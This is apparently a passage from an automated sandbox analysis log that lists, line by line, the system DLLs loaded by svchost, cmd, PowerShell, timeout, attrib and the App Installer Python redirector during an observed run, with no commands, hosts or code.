Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dll
Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wldp.dll
Source: C:\Windows\System32\cmd.exeSection loaded: propsys.dll
Source: C:\Windows\System32\cmd.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\cmd.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\cmd.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: netutils.dll
Source: C:\Windows\System32\cmd.exeSection loaded: windows.shell.servicehostbuilder.dll
Source: C:\Windows\System32\cmd.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exeSection loaded: ieframe.dll
Source: C:\Windows\System32\cmd.exeSection loaded: netapi32.dll
Source: C:\Windows\System32\cmd.exeSection loaded: version.dll
Source: C:\Windows\System32\cmd.exeSection loaded: userenv.dll
Source: C:\Windows\System32\cmd.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\cmd.exeSection loaded: edputil.dll
Source: C:\Windows\System32\cmd.exeSection loaded: secur32.dll
Source: C:\Windows\System32\cmd.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: mlang.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wininet.dll
Source: C:\Windows\System32\cmd.exeSection loaded: profapi.dll
Source: C:\Windows\System32\cmd.exeSection loaded: policymanager.dll
Source: C:\Windows\System32\cmd.exeSection loaded: msvcp110_win.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\cmd.exeSection loaded: pcacli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: mpr.dll
Source: C:\Windows\System32\cmd.exeSection loaded: sfc_os.dll
Source: C:\Windows\System32\timeout.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wldp.dll
Source: C:\Windows\System32\cmd.exeSection loaded: propsys.dll
Source: C:\Windows\System32\cmd.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\cmd.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\cmd.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: netutils.dll
Source: C:\Windows\System32\cmd.exeSection loaded: windows.shell.servicehostbuilder.dll
Source: C:\Windows\System32\cmd.exeSection loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exeSection loaded: ieframe.dll
Source: C:\Windows\System32\cmd.exeSection loaded: netapi32.dll
Source: C:\Windows\System32\cmd.exeSection loaded: version.dll
Source: C:\Windows\System32\cmd.exeSection loaded: userenv.dll
Source: C:\Windows\System32\cmd.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\cmd.exeSection loaded: edputil.dll
Source: C:\Windows\System32\cmd.exeSection loaded: secur32.dll
Source: C:\Windows\System32\cmd.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: mlang.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wininet.dll
Source: C:\Windows\System32\cmd.exeSection loaded: profapi.dll
Source: C:\Windows\System32\cmd.exeSection loaded: policymanager.dll
Source: C:\Windows\System32\cmd.exeSection loaded: msvcp110_win.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exeSection loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\cmd.exeSection loaded: pcacli.dll
Source: C:\Windows\System32\cmd.exeSection loaded: mpr.dll
Source: C:\Windows\System32\cmd.exeSection loaded: sfc_os.dll
Source: C:\Windows\System32\timeout.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exeSection loaded: apisethost.appexecutionalias.dll
Source: C:\Windows\System32\cmd.exeSection loaded: daxexec.dll
Source: C:\Windows\System32\cmd.exeSection loaded: fltlib.dll
Source: C:\Windows\System32\cmd.exeSection loaded: container.dll
Source: C:\Windows\System32\cmd.exeSection loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\cmd.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\cmd.exeSection loaded: capauthz.dll
Source: C:\Windows\System32\cmd.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\cmd.exeSection loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exeSection loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\cmd.exeSection loaded: ieframe.dll
Source: C:\Windows\System32\cmd.exeSection loaded: netapi32.dll
Source: C:\Windows\System32\cmd.exeSection loaded: version.dll
Source: C:\Windows\System32\cmd.exeSection loaded: userenv.dll
Source: C:\Windows\System32\cmd.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\cmd.exeSection loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\timeout.exeSection loaded: version.dll
Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dll
Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.dll
